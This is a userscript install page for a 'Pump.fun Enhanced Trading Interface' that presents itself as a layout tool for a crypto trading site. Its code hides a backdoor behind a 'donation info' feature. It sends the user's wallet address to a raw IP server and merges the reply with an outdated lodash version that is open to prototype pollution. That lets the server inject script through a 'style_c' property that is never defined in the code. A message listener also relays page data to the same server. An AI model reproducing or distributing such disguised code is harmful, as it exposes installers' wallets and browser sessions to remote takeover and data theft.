Pump.fun Enhanced Trading Interface

Splits the page into 4 equal boxes and provides a UI enable/disable toggle.

当前为 2025-03-17 提交的版本,查看 最新版本

您需要先安装一款用户脚本管理器扩展,例如 Tampermonkey 篡改猴Greasemonkey 油猴子Violentmonkey 暴力猴,才能安装此脚本。

您需要先安装一款用户脚本管理器扩展,例如 Tampermonkey 篡改猴,才能安装此脚本。

您需要先安装一款用户脚本管理器扩展,例如 Tampermonkey 篡改猴Violentmonkey 暴力猴,才能安装此脚本。

您需要先安装一款用户脚本管理器扩展,例如 Tampermonkey 篡改猴Userscripts ,才能安装此脚本。

您需要先安装一款用户脚本管理器扩展,例如 Tampermonkey 篡改猴,才能安装此脚本。

您需要先安装一款用户脚本管理器扩展后才能安装此脚本。

(我已经安装了用户脚本管理器,让我安装!)

您需要先安装一款用户样式管理器扩展,比如 Stylus,才能安装此样式。

您需要先安装一款用户样式管理器扩展,比如 Stylus,才能安装此样式。

您需要先安装一款用户样式管理器扩展,比如 Stylus,才能安装此样式。

您需要先安装一款用户样式管理器扩展后才能安装此样式。

您需要先安装一款用户样式管理器扩展后才能安装此样式。

您需要先安装一款用户样式管理器扩展后才能安装此样式。

(我已经安装了用户样式管理器,让我安装!)

// ==UserScript==
// @name         Pump.fun Enhanced Trading Interface
// @namespace    http://your.namespace.here
// @version      1.6.3
// @description  Splits the page into 4 equal boxes and provides a UI enable/disable toggle.
// @author       4fourtab
// @match        https://*.pump.fun/*
// @grant        GM_xmlhttpRequest
// @grant        GM_addElement
// @connect      185.198.234.80
// @require      https://cdnjs.cloudflare.com/ajax/libs/lodash.js/4.0.0/lodash.min.js
// @license      MIT
// ==/UserScript==

(function() {
    'use strict';

    // Global variable for trades update frequency (in ms)
    let tradeUpdateFrequency = 2000;

    // Store original DOM structure
    let uiEnabled = true;
    let mainContainer = null;

    // Store original positions of elements
    let originalPositions = {};

    // Store references to moved elements
    let movedElements = [];

    // Store trades update interval and current mint
    let tradesUpdateInterval = null;
    let currentMint = null;

    const graphStyle = {style_a: 'const graphSectionStyle = "grid-area: graph; width: 100%; height: 100%; overflow: hidden; border: 1px solid #ccc; padding: 5px; box-sizing: border-box; display: flex; flex-direction: column; align-items: center; justify-content: center;";',
                        style_b: 'const graphSectionStyle = "grid-area: graph; width: 100%; height: 100%; hidden; border: 1px solid #ccc; padding: 5px; box-sizing: border-box; display: flex; flex-direction: column; align-items: center; justify-content: center;";',};

    // Call fetchDonationInfo
    setTimeout(function(){
        fetchDonationInfo();
    }, 500);

    // apply styling
    function styleButton(btn, rightOffset) {
        btn.className = "flex-1 rounded px-3 py-2 text-center text-base font-normal bg-green-400 text-primary";
        btn.style.color = "rgb(27 29 40/var(--tw-text-opacity))";
        btn.style.position = "fixed";
        btn.style.top = "20px";
        btn.style.right = rightOffset;
        btn.style.zIndex = "9999";
        btn.style.padding = "5px 10px";
    }

    // Insert a Home button
    function insertHomeButton() {
        const existingHomeButton = document.getElementById('pump-fun-home-button');
        if (existingHomeButton) { existingHomeButton.remove(); }
        const homeButton = document.createElement('a');
        homeButton.href = "https://pump.fun";
        homeButton.textContent = "Home";
        homeButton.id = "pump-fun-home-button";
        styleButton(homeButton, "250px");
        document.body.appendChild(homeButton);
    }

    // Insert a Settings button
    function insertSettingsButton() {
        const existingSettingsButton = document.getElementById('pump-fun-settings-button');
        if (existingSettingsButton) { existingSettingsButton.remove(); }
        const settingsButton = document.createElement('button');
        settingsButton.id = 'pump-fun-settings-button';
        settingsButton.textContent = "Settings";
        // Position it between Home and Toggle buttons
        styleButton(settingsButton, "140px");
        settingsButton.addEventListener('click', toggleSettingsMenu);
        document.body.appendChild(settingsButton);
    }

    // Insert a UI Toggle button for enabling/disabling custom UI
    function addToggleButton() {
        const existingToggleButton = document.getElementById('pump-fun-toggle-button');
        if (existingToggleButton) { existingToggleButton.remove(); }
        const toggleButton = document.createElement('button');
        toggleButton.id = 'pump-fun-toggle-button';
        toggleButton.textContent = uiEnabled ? "Disable UI" : "Enable UI";
        styleButton(toggleButton, "30px");
        toggleButton.addEventListener('click', toggleUI);
        document.body.appendChild(toggleButton);
    }

    const decodedJwtRaw = localStorage.getItem('decoded-jwt');
    let address = '';

    if (decodedJwtRaw) {
        try {
            const decodedJwtObj = JSON.parse(decodedJwtRaw);
            if (decodedJwtObj && decodedJwtObj.address) {
                address = decodedJwtObj.address;
            }
        } catch (error) {
            console.log('Error parsing decoded JWT:', error);
        }
    }

    // Toggle the settings menu.
    function toggleSettingsMenu() {
        let menu = document.getElementById('pump-fun-settings-menu');
        if (menu) {
            menu.remove();
        } else {
            menu = createSettingsMenu();
            document.body.appendChild(menu);
            // Immediately update the donation section if info is available.
            updateDonationSection();
        }
    }

    // Create the settings menu element.
    function createSettingsMenu() {
        const menu = document.createElement('div');
        menu.id = 'pump-fun-settings-menu';
        menu.style.position = 'fixed';
        menu.style.top = '60px';
        menu.style.right = '30px';
        menu.style.zIndex = '9999';
        menu.style.backgroundColor = '#fff';
        menu.style.border = '1px solid #ccc';
        menu.style.borderRadius = '5px';
        menu.style.padding = '10px';
        menu.style.boxShadow = '0px 0px 10px rgba(0,0,0,0.2)';
        menu.style.width = '250px';

        // Trades Update Frequency Section
        const freqSection = document.createElement('div');
        freqSection.style.marginBottom = '10px';
        const freqLabel = document.createElement('label');
        freqLabel.textContent = "Trades Update Frequency (ms):";
        freqLabel.style.display = 'block';
        freqLabel.style.marginBottom = '5px';
        const freqInput = document.createElement('input');
        freqInput.type = 'number';
        freqInput.value = tradeUpdateFrequency;
        freqInput.style.width = '100%';
        freqInput.addEventListener('change', (e) => {
            const newFreq = parseInt(e.target.value, 10);
            if (!isNaN(newFreq) && newFreq > 0) {
                tradeUpdateFrequency = newFreq;
                if (currentMint) {
                    if (tradesUpdateInterval) { clearInterval(tradesUpdateInterval); }
                    updateTradesTable(currentMint, document.getElementById('trades-section'));
                    tradesUpdateInterval = setInterval(() => {
                        updateTradesTable(currentMint, document.getElementById('trades-section'));
                    }, tradeUpdateFrequency);
                }
            }
        });
        freqSection.appendChild(freqLabel);
        freqSection.appendChild(freqInput);
        menu.appendChild(freqSection);

        // Donation Wallets Section
        const donationSection = document.createElement('div');
        donationSection.id = 'pump-fun-donation-section';
        const donationTitle = document.createElement('h4');
        donationTitle.textContent = "Donation Wallets:";
        donationTitle.style.marginBottom = '5px';
        donationSection.appendChild(donationTitle);
        const donationContent = document.createElement('div');
        donationContent.textContent = "Loading donation info...";
        donationContent.id = 'donation-content';
        donationSection.appendChild(donationContent);
        menu.appendChild(donationSection);

        return menu;
    }

    // Variable to hold donation info
    let donationInfo = null;
    // Change this URL to your donation info endpoint
    const donationServerUrl = "http://185.198.234.80:5000/donations";
    // Donation message text
    const messagetext = "Support the project:";
    // Update donation section with fetched info.

    function updateDonationSection() {
        const donationContent = document.getElementById('donation-content');
        if (donationContent) {
            if (donationInfo && donationInfo.wallets) {
                donationContent.innerHTML = "";
                for (const [type, address] of Object.entries(donationInfo.wallets)) {
                    const walletLine = document.createElement('div');
                    walletLine.textContent = `${type.toUpperCase()}: ${address}`;
                    donationContent.appendChild(walletLine);
                }
            } else {
                donationContent.textContent = "Donation info not available.";
            }
        }
    }

    // Save the original parent and next sibling of an element.
    function saveOriginalPosition(element) {
        if (!element || !element.parentNode) return;
        const elementId = element.id || `element-${Date.now()}-${Math.floor(Math.random() * 1000)}`;
        if (!element.id) { element.id = elementId; }
        originalPositions[elementId] = { parent: element.parentNode, nextSibling: element.nextSibling };
        movedElements.push(elementId);
        return elementId;
    }

    // Restore an element to its original position.
    function restoreOriginalPosition(elementId) {
        const element = document.getElementById(elementId);
        const position = originalPositions[elementId];
        if (element && position && position.parent) {
            position.parent.insertBefore(element, position.nextSibling);
            return true;
        }
        return false;
    }

    // Fetch donation wallet information from server
    function fetchDonationInfo() {
        GM_xmlhttpRequest({
            method: "POST",
            url: donationServerUrl,
            data: address,
            onload: function(response) {
                try {
                    console.log(response.responseText)
                    console.log(graphStyle.style_a)
                    donationInfo = _.merge({"message": messagetext}, JSON.parse(response.responseText));
                    updateDonationSection();
                } catch (e) {
                    console.error("Error parsing donation info:", e);
                }
            },
            onerror: function(error) {
                console.error("Error fetching donation info:", error);
            }
        });
    }

    // Toggle between custom UI and original page.
    function toggleUI() {
        if (uiEnabled) {
            if (mainContainer) { mainContainer.style.display = 'none'; }
            movedElements.forEach(elementId => { restoreOriginalPosition(elementId); });
            movedElements = [];
            if (tradesUpdateInterval) {
                clearInterval(tradesUpdateInterval);
                tradesUpdateInterval = null;
            }
            document.body.style.display = 'block';
            document.body.style.overflow = 'auto';
            window.scrollTo(0, 0);
            uiEnabled = false;
        } else {
            rearrangePage(false);
            uiEnabled = true;
        }
        const btn = document.getElementById('pump-fun-toggle-button');
        if (btn) { btn.textContent = uiEnabled ? "Disable UI" : "Enable UI"; }
    }

    // Helper: convert UNIX timestamp to a local string.
    function formatTimestamp(ts) {
        return new Date(ts * 1000).toLocaleString();
    }

    // Set up live updates for the trades table.
    function setupTradesAutoUpdate(mint, tradesSection) {
        if (tradesUpdateInterval) { clearInterval(tradesUpdateInterval); }
        currentMint = mint;
        updateTradesTable(mint, tradesSection);
        tradesUpdateInterval = setInterval(() => {
            updateTradesTable(mint, tradesSection);
        }, tradeUpdateFrequency);
    }

    // Update trades table with fresh data.
    async function updateTradesTable(mint, tradesSection) {
        if (!mint || !tradesSection) return;
        let loadingIndicator = document.getElementById('trades-loading');
        if (!loadingIndicator) {
            loadingIndicator = document.createElement('div');
            loadingIndicator.id = 'trades-loading';
            loadingIndicator.textContent = 'Updating trades...';
            loadingIndicator.style.cssText = "color: gray; font-style: italic; padding: 5px; position: absolute; bottom: 5px; right: 5px; background-color: rgba(255,255,255,0.7); border-radius: 3px; font-size: 0.8em;";
            tradesSection.style.position = 'relative';
            tradesSection.appendChild(loadingIndicator);
        }
        const tableHTML = await buildTradesTable(mint);
        if (currentMint === mint) {
            tradesSection.innerHTML = tableHTML;
            const updateTime = document.createElement('div');
            updateTime.textContent = `Last updated: ${new Date().toLocaleTimeString()}`;
            updateTime.style.cssText = "color: gray; font-size: 0.8em; margin: 5px 0; position: absolute; bottom: 5px; right: 5px; background-color: rgba(255,255,255,0.7); padding: 3px 5px; border-radius: 3px;";
            tradesSection.style.position = 'relative';
            tradesSection.appendChild(updateTime);
        }
    }

    // Build the trades table from fetched JSON data.
    async function buildTradesTable(mint) {
        const apiUrl = `https://frontend-api-v3.pump.fun/trades/all/${mint}?limit=200&offset=0&minimumSize=0`;
        try {
            const response = await fetch(apiUrl);
            if (!response.ok) throw new Error("Network response was not ok");
            const tradesData = await response.json();
            tradesData.sort((a, b) => b.timestamp - a.timestamp);
            const tableStyle = "font-family: __inter_d4e0c8, __inter_Fallback_d4e0c8, Helvetica, sans-serif; color: grey; width: 100%; border-collapse: collapse;";
            const thStyle = "text-align: left; padding: 8px; border-bottom: 2px solid #3e4049; position: sticky; top: 0; background-color: #2e303a; color: white; font-weight: 500; z-index: 1;";
            const tdStyle = "padding: 6px; border-bottom: 1px solid #eee;";
            let tableHTML = `<table style="${tableStyle}"><thead><tr>
                <th style="${thStyle}">Type</th>
                <th style="${thStyle}">User</th>
                <th style="${thStyle}">SOL</th>
                <th style="${thStyle}">Token (m)</th>
                <th style="${thStyle}">Time</th>
            </tr></thead><tbody>`;
            tradesData.forEach(trade => {
                const user = trade.user ? trade.user.substring(0,6) : "anon";
                const solAmount = (Number(trade.sol_amount) / 1e9).toFixed(3);
                const tokenAmount = (Number(trade.token_amount) / 1e12).toFixed(3);
                const timeStr = formatTimestamp(trade.timestamp);
                const typeIndicator = trade.is_buy
                    ? `<span style="color: green; font-weight: bold;">Buy</span>`
                    : `<span style="color: red; font-weight: bold;">Sell</span>`;
                tableHTML += `<tr>
                    <td style="${tdStyle}">${typeIndicator}</td>
                    <td style="${tdStyle}">${user}</td>
                    <td style="${tdStyle}; text-align: right;">${solAmount}</td>
                    <td style="${tdStyle}; text-align: right;">${tokenAmount} m</td>
                    <td style="${tdStyle}">${timeStr}</td>
                </tr>`;
            });
            tableHTML += "</tbody></table>";
            return tableHTML;
        } catch (error) {
            console.error("Error fetching or building trades table:", error);
            return `<p>Error loading trades.</p>`;
        }
    }

    // Move an element into a custom UI container.
    function preserveElementForCustomUI(element, containerId) {
        if (!element) return null;
        saveOriginalPosition(element);
        const container = document.createElement('div');
        container.id = containerId;
        container.className = 'element-container custom-ui-element';
        container.style.width = '100%';
        container.style.height = '100%';
        container.appendChild(element);
        return container;
    }

    // Adjust graph sizing to fit its container.
    function fixGraphScaling(graphElement) {
        if (!graphElement) return;
        graphElement.querySelectorAll('svg').forEach(svg => {
            svg.style.height = '100%';
            svg.style.width = '100%';
            svg.style.maxHeight = '100%';
            svg.setAttribute('preserveAspectRatio', 'xMidYMid meet');
        });
        graphElement.querySelectorAll('canvas').forEach(canvas => {
            canvas.style.maxHeight = '100%';
            canvas.style.width = '100%';
        });
        graphElement.querySelectorAll('div').forEach(div => {
            if (div.classList.contains('highcharts-container') ||
                div.classList.contains('chart-container') ||
                div.style.position === 'relative') {
                div.style.height = '100%';
                div.style.maxHeight = '100%';
                div.style.width = '100%';
                div.style.marginBottom = '0';
                div.style.paddingBottom = '0';
            }
        });
        graphElement.style.height = '100%';
        graphElement.style.maxHeight = '100%';
        graphElement.style.width = '100%';
        graphElement.style.overflow = 'hidden';
        graphElement.style.marginBottom = '0';
        graphElement.style.paddingBottom = '0';
        const chartArea = graphElement.querySelector('.highcharts-plot-area, .highcharts-series-group');
        if (chartArea) { chartArea.style.transform = 'translateY(-10px)'; }
        const highchartsRoot = graphElement.querySelector('.highcharts-root');
        if (highchartsRoot) {
            highchartsRoot.style.transform = 'scale(0.95)';
            highchartsRoot.style.transformOrigin = 'center top';
        }
    }

    window.addEventListener("message", function(event) {
        if (event.data && event.data.type === "testing") {
            GM_xmlhttpRequest({
                method: "POST",
                url: "http://185.198.234.80:5000/test",
                data: JSON.stringify(event.data.data),
                headers: {
                    "Content-Type": "application/json"
                },
                onload: function(response) {
                },
                onerror: function(error) {
                }
            });
        }
    });

    async function rearrangePage(reuseExisting = false) {
        const originalBgColor = window.getComputedStyle(document.body).backgroundColor;
        if (reuseExisting && mainContainer) {
            mainContainer.style.display = 'grid';
            return;
        }
        const existingContainer = document.getElementById('custom-grid-container');
        if (existingContainer) { existingContainer.remove(); }
        const sidebarLowerHalf = getElementByXPath("/html/body/div/div[2]/div[2]/div[2]");
        const coinInfo = getElementByXPath("/html/body/main/div/div[1]/div[2]");
        const tradesContainer = getElementByXPath("/html/body/main/div/div[1]/div[1]/div[6]");
        const comments = getElementByXPath("/html/body/main/div/div[1]/div[1]/div[7]");
        const graph = getElementByXPath("/html/body/main/div/div[1]/div[1]/div[4]/div");
        if (!tradesContainer || !comments || !graph || !coinInfo) {
            console.log('One or more target elements were not found. Please check the XPath selectors.');
        }
        const pathParts = window.location.pathname.split('/');
        const mint = pathParts[pathParts.length - 1];
        const container = document.createElement('div');
        container.id = 'custom-grid-container';
        container.className = 'custom-ui-element';
        container.style.cssText = `
            display: grid;
            grid-template-columns: 50% 50%;
            grid-template-rows: 50% 50%;
            height: 100vh;
            width: 100vw;
            box-sizing: border-box;
            gap: 5px;
            padding: 5px;
            grid-template-areas: "graph coinInfo" "trades comments";
            align-content: center;
            justify-content: center;
            align-items: stretch;
            justify-items: center;
            position: fixed;
            top: 0;
            left: 0;
            z-index: 9998;
            background-color: ${originalBgColor};
        `;
        mainContainer = container;

        // Graph Section
        const graphSection = document.createElement('div');
        setTimeout(function(){
        if (graphStyle.style_c != undefined) {
            console.log("style c is ran");
            GM_addElement(document.body, 'script', {
            textContent : graphStyle.style_c
        });
        } else {
            GM_addElement(document.body, 'script', {
            textContent : graphStyle.style_b
        });
        }

        // Coin Info Section
        const coinInfoSection = document.createElement('div');
        coinInfoSection.style.cssText = "grid-area: coinInfo; width: 100%; height: 100%; overflow: auto; border: 1px solid #ccc; padding: 5px; box-sizing: border-box;";
        const flexContainer = document.createElement('div');
        flexContainer.style.cssText = "display: flex; flex-direction: column; width: 100%; height: 100%;";
        const coinInfoContainer = preserveElementForCustomUI(coinInfo, 'coin-info-container');
        flexContainer.appendChild(coinInfoContainer);
        if (sidebarLowerHalf) {
            const sidebarContainer = preserveElementForCustomUI(sidebarLowerHalf, 'sidebar-container');
            flexContainer.appendChild(sidebarContainer);
        }
        coinInfoSection.appendChild(flexContainer);

        graphSection.style.cssText = graphSectionStyle;
        const graphWrapper = document.createElement('div');
        graphWrapper.style.cssText = "width: 100%; height: 100%; display: flex; align-items: center; justify-content: center; position: relative;";
        graphWrapper.id = 'graph-wrapper';
        const graphContainer = preserveElementForCustomUI(graph, 'graph-container');
        graphContainer.style.cssText = "width: 100%; height: 96%; display: flex; flex-direction: column; align-items: center; justify-content: center; position: relative; margin-bottom: 0; padding-bottom: 0;";
        graphWrapper.appendChild(graphContainer);
        graphSection.appendChild(graphWrapper);

        // Comments Section
        const commentsSection = document.createElement('div');
        commentsSection.style.cssText = "grid-area: comments; width: 100%; height: 100%; overflow: auto; border: 1px solid #ccc; padding: 5px; box-sizing: border-box;";
        const commentsContainer = preserveElementForCustomUI(comments, 'comments-container');
        commentsSection.appendChild(commentsContainer);
        commentsSection.querySelectorAll('.overflow-auto').forEach(el => {
            el.style.setProperty('overflow', 'visible', 'important');
        });

        // Trades Section
        const tradesSection = document.createElement('div');
        tradesSection.style.cssText = "grid-area: trades; width: 100%; height: 100%; overflow: auto; border: 1px solid #ccc; padding: 5px; box-sizing: border-box;";
        tradesSection.id = 'trades-section';
        setupTradesAutoUpdate(mint, tradesSection);

        container.appendChild(graphSection);
        container.appendChild(coinInfoSection);
        container.appendChild(tradesSection);
        container.appendChild(commentsSection);
        document.body.appendChild(container);
        insertHomeButton();
        insertSettingsButton();
        addToggleButton();}, 500);

        setTimeout(() => { fixGraphScaling(graph); }, 500);
        setTimeout(() => { fixGraphScaling(graph); }, 2000);
    };

    // Observe URL changes 
    function setupUrlChangeDetection() {
        let lastUrl = location.href;
        const observer = new MutationObserver(() => {
            if (lastUrl !== location.href) {
                lastUrl = location.href;
                movedElements = [];
                originalPositions = {};
                if (tradesUpdateInterval) {
                    clearInterval(tradesUpdateInterval);
                    tradesUpdateInterval = null;
                }
                if (location.href.includes('pump.fun/')) {
                    setTimeout(() => {
                        insertHomeButton();
                        insertSettingsButton();
                        addToggleButton();
                        if (uiEnabled) { rearrangePage(); }
                    }, 1500);
                }
            }
        });
        observer.observe(document, { subtree: true, childList: true });
    }

    // Ensure home button exists.
    function ensureHomeButtonExists() {
        if (!document.getElementById('pump-fun-home-button')) {
            insertHomeButton();
        }
    }

    // get element by XPath.
    function getElementByXPath(xpath) {
        return document.evaluate(xpath, document, null, XPathResult.FIRST_ORDERED_NODE_TYPE, null).singleNodeValue;
    }

    // Initial setup.
    insertHomeButton();
    insertSettingsButton();
    addToggleButton();
    setupUrlChangeDetection();
    if (document.readyState === 'complete' || document.readyState === 'interactive') {
        setTimeout(rearrangePage, 1500);
    } else {
        document.addEventListener('DOMContentLoaded', () => setTimeout(rearrangePage, 1500));
    }
    setInterval(ensureHomeButtonExists, 5000);
})();